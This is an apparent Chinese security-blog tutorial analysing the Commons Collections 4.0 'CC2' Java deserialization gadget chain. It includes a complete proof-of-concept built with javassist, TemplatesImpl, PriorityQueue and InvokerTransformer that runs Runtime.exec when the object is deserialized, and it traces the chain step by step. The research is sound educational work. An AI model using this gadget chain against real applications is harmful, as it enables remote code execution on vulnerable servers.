Java安全之Commons Collections2分析

首发:Java安全之Commons Collections2分析

0x00 前言

前面分析了CC1的利用链,但是发现在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。

这就有了其他的利用链,在CC2链里面并不是使用 AnnotationInvocationHandler来构造,而是使用

javassistPriorityQueue来构造利用链。

CC2链中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其实能使用,但是commons-collections-4.0版本删除了lazyMapdecode方法,这时候我们可以使用lazyMap方法来代替。但是这里产生了一个疑问,为什么CC2链中使用commons-collections-4.03.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。

下面我把利用链给贴上。

Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

下面就来学习一下需要用到的基础知识。 关于javassist上篇文章已经讲过了,可以参考该篇文章:Java安全之Javassist动态编程

0x01 前置知识

PriorityQueue

构造方法:

PriorityQueue()
使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常见方法:

add(E e)           			将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。

代码示例:

 public static void main(String[] args) {
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(2);
priorityQueue.add(1);
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.poll());
}

结果:

1
2

getDeclaredField

getDeclaredField是class超类的一个方法。该方法用来获取类中或接口中已经存在的一个字段,也就是成员变量。

该方法返回的是一个Field对象。

Field

常用方法:

get			返回该所表示的字段的值 Field ,指定的对象上。
set 将指定对象参数上的此 Field对象表示的字段设置为指定的新值。

TransformingComparator

TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

查看一下该类的构造方法

这里发现个有意思的地方,compare方法会去调用transformertransform方法,嗅到了一丝丝CC1的味道。

0x02 POC分析

package com.test;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue; public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime byte[] bytes=payload.toBytecode();//转换为byte数组 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列 Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject(); }
}

先来看第一段代码:

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

我在这里划分了几个部分,这一段代码的意思可以简单理解为一句话,创建动态一个类,设置父类添加命令执行内容。

这里首先抛出一个疑问,上面的代码在前面,添加了AbstractTranslet所在的搜索路径,将AbstractTranslet设置为使用动态新建类的父类,那么这里为什么需要设置AbstractTranslet为新建类的父类呢?这里先不做解答,后面分析poc的时候再去讲。

 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

第二部分代码,反射获取_bytecodes的值,设置为转换后的payload的字节码。_name也是一样的方式设置为test。

那么为什么需要这样设置呢?为什么需要设置_bytecodes的值为paylaod的字节码?这是抛出的第二个疑问。

这里先来为第二个疑问做一个解答。

来看看TemplatesImpl_bytecodes被调用的地方

经过了load.defineclass方法返回了_class。在getTransletInstance()方法里面调用了__class.newInstance()方法。也就是说对我们传入的payload进行了实例化。这就是为什么使用的是templatesImpl类而不是其他类来构造的原因。

而且看到他这里是强转为AbstractTranslet类类型。这也是第一个疑问中为什么要继承AbstractTranslet为父类的原因。

那么就需要去寻找调用getTransletInstance的地方。在templatesImplnewTransformer方法中其实会调用到getTransletInstance方法。

这时候就要考虑到了newTransformer怎么去调用了,POC中给出的解决方案是使用InvokerTransformer的反射去调用。

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

这又使用到了TransformingComparator是为什么呢?其实在前置知识的地方说过。TransformingComparatorcompare方法会去调用传入参数的transform方法。

而关于compare的办法就需要用到PriorityQueue来实现了。

查看对应的POC代码

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1); Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);

siftDownUsingComparator方法会调用到comparatorcompare

siftDownUsingComparator会在siftDown方法进行调用

siftDown会在heapify调用,而heapify会在readobject复写点被调用。

下面再来看POC中的最后一段代码

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

设置queue.queue为Object[]数组,内容为两个内置恶意代码的TemplatesImpl实例实例化对象。这样调用heapify方法里面的时候就会进行传参进去。

到这里POC为何如此构造已经是比较清楚了,但是对于完整的一个链完整的执行流程却不是很清楚。有必要调试一遍。刚刚的分析其实也是逆向的去分析。

0x03 POC调试

readobject位置打个断点,就可以看到反序列化时,调用的是PriorityQueuereadobject,而这个readobject方法会去调用heapify方法。

heapify会调用siftDown方法,并且传入queue,这里的queue是刚刚传入的构造好恶意代码的TemplatesImpl实例化对象。

该方法判断comparator不为空,就会去调用siftDownUsingComparator,这的comparator是被TransformingComparator修饰过的InvokerTransformer实例化对象。

跟进到siftDownUsingComparator方法里面,发现会方法会去调用comparatorcompare,因为我们这里的compare是被TransformingComparator修饰过的InvokerTransformer实例化对象。所以这里调用的就是TransformingComparatorcompare

在这里传入的2个参数,内容为TemplatesImpl实例化对象。

跟进到方法里面,this.iMethodName内容为newTransformer反射调用了newTransformer方法。再跟进一下。

newTransformer会调用getTransletInstance方法。

再跟进一下getTransletInstance方法,这里会发现先判断是否为空,为空的话调用defineTransletClasses()进行赋值,这里是将_bytecodes赋值给_class

defineTransletClasses()执行完后会跳回刚刚的地方,留意第一个if判断语句如果_name等于null就直接返回null,不执行下面代码。这也是前面为什么会为_name设置值的原因。

再来看他的下一段代码

_class.newInstance()_class进行实例化。执行完这一步后就会弹出一个计算器。

在最后面问题又来了,为什么newInstance()实例化了一个对象就会执行命令呢?

其实这就涉及到了在 javassist是怎么去构造的对象。

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");

将这个类给写出来,再来查看一下具体的是怎么构造的。

看到代码后其实就已经很清楚了,Runtime执行命令代码是在静态代码块里面,静态代码块会在new对象的时候去执行。

调用链

ObjectInputStream.readObject()->PriorityQueue.readObject()->PriorityQueue.heapify
->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator
->TransformingComparator.compare()
->InvokerTransformer.transform()->TemplatesImpl.getTransletInstance
->(动态创建的类)cc2.newInstance()->Runtime.exec()

0x04 结尾

其实个人觉得在分析利用链的时候,只是用别人写好的POC代码看他的调用步骤的话,意义并不大。分析利用链需要思考利用链的POC为什么要这样写。这也是我一直在文中一直抛出疑问的原因,这些疑问都是我一开始考虑到的东西,需要多思考。

最新文章

  1. 使用Asp.Net Core Identity给用户添加及删除角色
  2. I/O Directory类
  3. LeetCode:Spiral Matrix I II
  4. Commons Codec - 常见的编码解码
  5. js中内建对象
  6. sip演示
  7. leetcode 15. 3Sum 双指针
  8. CodeForces 708B Recover the String
  9. Http协议---Hyper Text Transfer Protocol
  10. mybatis 的逆向工程
  11. HTML学习笔记 css定位(静态,相对,固定,绝对布局)偏移案例 第十二节 (原创) 参考使用表
  12. 写一个PHP函数,实现扫描并打印出指定目录下(含子目录)的所有jpg文件名
  13. 在netcore中实现字段和属性注入
  14. Android启动页欢迎界面大全 (网址)
  15. as3 三行三列 布满9个为一个界面
  16. Display all 2232 possibilities? (y or n)
  17. SpringBoot实战(九)之Validator
  18. 51nod 1019 逆序数
  19. R包安装失败failed to download mirrors file
  20. 将hibernate.cfg.xml文件都放到spring中时报错

热门文章

  1. hystrix熔断器之command实现
  2. 科普,想成为厉害的 Java 后端程序员,你需要懂这些
  3. 为什么我选择MySQL Workbench・一
  4. spring in action-note-2
  5. MySql-8.0.x免安装版下载与配置,Navicat打开数据库链接报错1251的解决办法
  6. 一款Java开源的Springboot即时通讯 IM,附源码
  7. git将本地仓库中的文件上传到远程仓库
  8. Lua设计与实现--读书笔记
  9. 关于Xilinx PCIE DMA的问答
  10. 给select赋值的一种方法